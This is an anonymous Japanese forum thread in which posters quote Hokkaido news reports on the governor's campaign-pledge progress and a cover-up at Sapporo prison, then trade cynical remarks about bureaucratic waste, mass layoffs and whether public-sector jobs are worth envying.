＞それによると、知事に就任した二○○三年度中に、百五項目の公約実現に向けた
＞取り組みが各部署で始まったが、十項目については当初予定通り進まなかった、とした。

「公約実現に向けた取り組みが各部署で始まった」ことでよしとする、
その辺が、お「役所」＝「役立たずな所」なのだが･･･。

人件費の本格的な見直しなど、この人たちにはできないし、
納税者に無限責任で債務を押し付けるにしても限界があるから、
最後は職員全員あぼーんになる。気の毒なことだ。

＞札幌刑務所、帳簿外品を組織的隠ぺい　矯正管区、所長ら４人を処分
http://www.hokkaido-np.co.jp/Php/kiji.php3?&d=20041225&j=0022&k=200412257242

＞札幌刑務所（杉田尚文所長）の元男性作業専門官（５０）＝八月に自主退職＝が、
＞刑務作業品の原材料や製品を帳簿に記載せずに大量に倉庫に保管していたのが
＞分かったにもかかわらず、刑務所が組織ぐるみで隠ぺいしていたとして、
＞杉田所長を戒告、男性処遇部長ら三人を減給十分の一、一カ月などの懲戒処分とした。

盗むことより、不正を隠すことの方が、重い処分になるようにしなければ、
不正の解明が遅れ、隠され、組織がダメになっていくのだが･･･。
既に組織はダメになっていることを前提に、大量解雇する以外にないね。

北海道新生プランをやってる間に財政再建団体に落ちていやでも国の主導で再生させられそうだな・・・。こんな甘い削減じゃ駄目だとか言われて。。。

悔しかったら、公務員になればいい。

>>297
＞北海道新生プランをやってる間に

そもそも時間稼ぎでしかないので激甘。

>>298
給料安いわ馬鹿にされるわじゃ
公務員になってもいいことないっしょ
会社員や自営業の人たちは
何を悔しがらなきゃなんないのかな